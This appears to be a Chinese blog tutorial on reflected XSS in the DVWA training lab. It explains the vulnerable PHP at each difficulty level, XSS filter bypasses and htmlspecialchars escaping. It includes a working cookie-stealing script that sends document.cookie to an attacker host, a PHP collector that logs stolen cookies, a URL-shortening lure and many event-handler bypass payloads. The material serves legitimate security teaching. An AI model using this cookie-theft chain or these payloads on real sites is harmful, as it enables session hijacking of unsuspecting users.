
xss的简介
xss全称为Cross-site scripting,为了与前端的Cascading Style Sheets(css) 有所区别,故取名为xss。
它是一种跨站脚本攻击,攻击者可以利用这种漏洞在网页上注入恶意的代码。当被攻击者访问的时候,就会触发这些恶意代码。从而可以盗取受害者的cookie、xss钓鱼、获取用户的信息等等。
xss一般分为三类:
- 反射性xss(不持续性的)
- 存储性xss(存储在数据库中,常见于留言板等地方)
- DOM性(document object model文档对象模型) 客户端处理逻辑导致的安全问题
xss攻击全部都在前端页面完成。
反射性xss
low级别
进入到靶场,发现有一个输入框,输入我们的名称之后,会将我们输入的内容输出到前端页面。

而当我们输入的是javascript代码呢?浏览器它是认识这个代码的,从而会进行解析。
尝试传入:
<script>alert("hello xss");</script>
<script>为javascript代码的开始标签,javascript简称js。
</script>为js代码的结束标签,而开始标签和结束标签中的内容,即为xss代码。
而 alert() 方法用于显示带有一条指定消息和一个 OK 按钮的警告框。也就是我们所说的弹窗。里面可以传入任意的数据类型或js语句。
我们常用它来判断是否存在xss漏洞。

那么此处就存在xss漏洞,但是我们这里是一个反射性xss,只能通过构造如上的url才能触发该xss。
比如我们这里复制上面的url,在一个新的浏览器中输入如上的url(确保dvwa靶场已登录,并且难度为low)。
是不是也可以弹窗呢?

但是这里的url过长,也过于明显,那么我们通过网上的短网址生成网站,将其转换为短网址,是不是就可以掩人耳目呢?

这里通过生成的短网址,我们进行访问,会自动跳转到我们原网址的页面,这样可以诱使被攻击者点击。
但是这只是一个弹窗,并没有什么实际性的危害鸭,其实js可以获取我们用户的某些信息,如cookie,user-agent等。
document.cookie可以获取到用户请求时的cookie,而cookie就相当于通行证,可以进行免密登录(但是有一些前提条件,比如生成cookie的用户不能关闭浏览器终止会话或注销登录)。
构造代码:
<script>alert(document.cookie)</script>

可以看到,此时就已经将用户的cookie值打印到了页面。有了cookie之后,我们就可以免密登录啦。
我们在一个未登陆过dvwa的浏览器中访问http://172.16.1.121/dvwa/login.php,是会跳转到登录界面的,为什么?由于我们这里并没有完成登录,故而会跳转到登录界面。
那么我们有了cookie之后,是不是就可以免密登录了,答案是可以的,我们将上面的弹窗内容赋值下来,使用hackerbar插件,或者cookie editor插件进行修改cookie。

可以我们这里修改了cookie之后,再次访问index.php的时候,就不会跳转到登录页面了,但是建立cookie的被攻击者,如果注销或关闭浏览器(标签页),那么cookie一般都会立即被销毁。但是dvwa这里并没有立即销毁,需要一点时间,但是当被攻击者点击logout注销的时候,则会立即销毁cookie并退出登录。
但是这里还有一个问题,就是弹框是给被攻击者看到的,攻击者并不会看到弹窗的值。那么我们有没有其他方法可以将cookie写入到某个文件中呢?答案是有的
javascript是可以引入外部js文件的,引入方式如下:
<script src="http://xxx.xxx.xxx/index.js"></script>
然后我们编辑index.js文件,写入我们的js代码即可,内容如下:
var img = document.createElement("img");
img.src = "http://172.16.1.103/getcookie.php?cookie=" + document.cookie;
document.body.appendChild(img);
document.createElement用于创建一个对象,这里创建img对象,使用使用img.src方法为其img标签指定src,documnet.cookie这里用户获取cookie。
document.body.appendChild(img)将img对象,加入到docuemnt.body中(body标签中)
最终img的src类似于:
http://172.16.1.103/getcookie.php?cookie=PHPSESSID=pc8j652bvc1e0g0gpma1bh30c1; security=low

但是访问的时候,由于图片的src并非是一个图片,所以这里有一个受损的标志,那么我们如何异常掉呢?

只需要为其设置宽高属性为0px即可,最终页面的效果:

可以看到,这里就为图片加上了宽高属性,细心的同学,可能会发现,我这里的cookie值为什么会为空呢?原因是由于我这个页面是静态页面,并没有cookie产生,故而为空白。
这里我们创建getcookie.php文件,并键入如下代码:
<?php
$cookie = @$_GET['cookie']; // 接收参数cookie对应的值
$file = fopen('cookie.txt','a'); // 打开一个文件,a表示追加
fwrite($file,$cookie . "\n"); // 在cookie.txt中写入$cookie的值
fclose($file); // 关闭这个文件流。
?>
下面我们到靶场中进行测试:
键入如下内容,会引入index.js文件,而里面文件的内容为创建一个img标签,并且img标签的src为接收cookie的getcookie页面,使用js的document.cookie获取cookie值,然后传给getcookie.php页面。之后该页面对其进行保存
<script src="http://172.16.1.103/index.js"></script>

最终攻击者的后台也就建立了cookie.txt文件,并且内容为cookie值。

当然这里也可以将接受cookie对应的时间写入到文件中。使用date函数即可。
实验完毕,我们来看下这个页面的后端php源码是如何写的:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
这里使用array_key_exists函数在$_GET关联数组中(类似于Python的字典),是否存在对应的键name,存在即true,否则false,接着又判断了通过get接受的name值不为空,则会将name值输出到页面。因此我们在输入框中输入什么,就会在页面返回什么。
这里反射性xss产生的原因是由于,后端并没有对用户输入的值进行校验或者进行转义。从而导致恶意用户构造恶意的js代码,经过后端输出到页面,而浏览器是认识js代码的,故而将其解析。
加固方式我们先不讲,后面关卡中,我们在讲解。
medium级别
尝试在输入框中传入以下js代码
<script>alert(/xss/);</script>

发现这里把我们<script>和</script>剔除了,猜测可能是替换为空,于是使用双写,尝试绕过
构造POC(漏洞验证代码):
<scr<script>ipt>alert(/xss/);</script>

提交之后,右键检查发现,这里并没有剔除</script>标签,而是只剔除了<script>标签,那么我们重新优化poc:
<scr<script>ipt>alert(/xss/);</script>

成功执行,这里的双写绕过,是怎么回事呢,就是说后端将<script>替换为空,那么我们构造<scr<script>ipt>,将中间的<script>替换为空之后,那么它前后的字符,是不是又组合成一个<script>呢?<scr<script>ipt>
当然对于这种替换,我们也可以尝试使用大小写绕过,由于后端可能并没有将我们传入的进行大小写转换,而后端写的匹配,可能是针对于<script>,并不针对于<SCRIPT> 或者 <ScRiPt>这种大小写混合的形式。而浏览器是认识这种写法的。
再次构造poc(漏洞验证代码):
<ScRiPT>alert(/xss/);</ScriPT>

也是可以弹窗的,但是除了使用<script>标签包裹以外还有其他方式执行js代码吗?答案是有的。
img标签
当img图片加载错误的时候,执行onerror属性对应的内容:
<img src=# onerror=alert(/xss/) />

body标签
在前端开发规范中,body标签是只允许有一对的,但是毕竟是规范,又不是强制执行的。因此一个页面也可以有多个body标签,而body标签有个属性为onload和onpageshow属性,分别表示当加载网页时执行js代码和当浏览网页时执行js代码。
<body onload=alert(/xss/)></body>

<body onpageshow=alert(/xss/)></body>

style标签
尽管style标签是用于嵌入css样式的,但是也可以使用onload属性
<style onload=alert("xss")></style>
marquee标签
marquee标签是HTML创建滚动内容的标签,类似于LED滚动屏的效果,除了支持滚动内容之外,它还支持一系列的事件处理程序,因此可以用它来实现XSS Payload触发。Marquee支持的一系列事件处理程序如下:
onbounce事件:是在<marquee>标签中的内容滚动到上下或左右边界时触发的事件处理程序,该事件只有在<marquee>标签的behavior属性设为alternate时才有效;
onstart事件: 当 marquee 标签内容开始滚动时触发。
<marquee behavior="alternate" onbounce=alert(1)></marquee> <!-- 触发需要一定时间 -->
<marquee onstart=alert('xss') behavior=slide></marquee>
其中以上可能对WebKit(chrome)内核的浏览器的不起作用,Firefox浏览器是可以的。
media标签
oncanplay: 在用户可以开始播放音视频(audio/video)时触发;
ondurationchange: 在音视频(audio/video)的时长发生变化时触发;
onended: 在音视频(audio/video)播放结束时触发;
onloadeddata: 在音视频数据帧加载时触发,也即在当前帧的数据加载完成且还没有足够的数据播放音视频(audio/video)的下一帧时触发;
onloadedmetadata: 在指定音视频(audio/video)的元数据(如分辨率和时长)加载后触发;
onloadstart: 在浏览器开始寻找指定音视频(audio/video)时触发;
onprogress: 浏览器下载指定的音视频(audio/video)时触发;
onsuspend: 在浏览器读取音视频(audio/video)数据中止时触发。
利用音频执行js代码的可能很少见,也很少被列入到黑名单中,故而列出。
<audio src="https://love.x1ong.fun/love.mp3" oncanplay=alert(/xss/)></audio>
<audio src="https://love.x1ong.fun/love.mp3" ondurationchange=alert(/xss/)></audio>
<audio src="https://love.x1ong.fun/love.mp3" onended=alert(/xss/)></audio>
<audio src="https://love.x1ong.fun/love.mp3" onloadeddata=alert(/xss/)></audio>
<audio src="https://love.x1ong.fun/love.mp3" onloadedmetadata=alert(/xss/)></audio>
<audio src="https://love.x1ong.fun/love.mp3" onloadstart=alert(/xss/)></audio>
<audio src="https://love.x1ong.fun/love.mp3" onprogress=alert(/xss/)></audio>
<audio src="https://love.x1ong.fun/love.mp3" onsuspend=alert(/xss/)></audio>
a标签
a标签也就是我们常说的超链接,这个需要点击点击,才可以触发javascript代码的执行。
<a href="javascript:alert(/xss/)">Click Download xx.exe</a>

那么接下来,我们就来看xss漏洞是如何产生的,查看页面的源代码:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
这里虽然对传入的参数进行了过滤,但是只是将其替换为空,并且替换的只是<script>,并没有完全的解决根本的问题,故而xss漏洞产生。
high级别
尝试传入以下POC:
<script>alert(/xss/);</script>

发现被过滤<script>和其中的内容,经过测试,大小写绕过不行,那么我们这里尝试使用img标签。
<img src="#" onerror="alert(/xss/)"" width=0 height=0 />

发现是可以执行的,那么这里为什么没有过滤alert(/xss/)呢,很有可能是因为后端过滤的是<script>和</script>以及他们之间的内容。
那么我们这里直接查看后端的代码:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
这里使用perg_replace()进行了一个正则的搜索和替换,将其替换为空,而<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)则表示要匹配的内容,其中.表示匹配任意字符,而*则表示匹配0个或多个字符,使用括号将其括起来就为(.*),表示匹配任意长度的任意字符,括号表示分组提取(将括号内的多个匹配表达式连贯起来),

可以看到,只要是按着<script>的顺序同时出现,不管隔了多长其他字符,最终都会被匹配到,因此将我们的alert(/xss/)也被匹配到了,但是没有匹配到最后的>,到t之后就结束了,所以页面会出现一个>

$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
其中/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/后面的i表示不区分大小写的匹配。
impossible级别
直接看源码,源代码如下:

这里主要使用了自定义的checkToken函数检查了用户的token值,同时也使用了htmlspecialchars内置函数对一些特殊字符进行了HTML实体编码转义。
下面是特殊字符经过htmlspecialchars函数转义之后再经过浏览器解析的步骤:

假设>,一旦被转义为>,那么再经过浏览器解析之后仍然为>,但是它只是一个普通的>,就不会再是浏览器认识的语法了。因此该函数在该场景接收input框中的内容时,就可以很好的解决xss漏洞。
但是如果是如下环境中,可以被绕过:

构造POC:
1' onmouseover='alert(/xss/)

当我们鼠标移动到input框时,即可触发。

那么说完核心函数htmlspecialchars之后,我们再来看看自定义函数checkToken是如何封装的:

可以看到,这个函数的逻辑很简单,只要$user_token的值不等于$session_token的值或者并没有初始化$session_token,则输出CSRF token is incorrect。并重定向到$returnURL变量指定的页面。
而这里的$user_token从何而来以及$session_token如何被创建的呢?

这里有一个toeknField函数,并且返回内容为一个输入框,其中的值就是$_SESSION['session_token']而这个函数并应用在哪里呢?

它被应用在我们提交表单哪里,只不过这个框是hidden的,因此我们看不到,但是提交的时候,会将其与我们输入的内容一并提交给服务器。这就是$user_token的产生。我们可以得出结论,正常情况下,$user_token的值是与$session_token的值完全一致的。不一致就被判定为是CSRF攻击。
那么$session_token是什么时候创建的呢?
在登录dvwa的时候,即创建了session_token

如果$session_token已经被创建了,则使用destroySessionToken()函数将其销毁。

但是我们在提交数据的时候也会创建$session_token,但是一旦有了$session_token之后,再去创建的话,会先执行destroySessionToken()函数将其销毁之后再创建。因此,我们每次刷新页面的时候,session_token都是不一样的。


可以看到,这里刷新之后,就发生了改变。
本文作者为blog,转载请注明。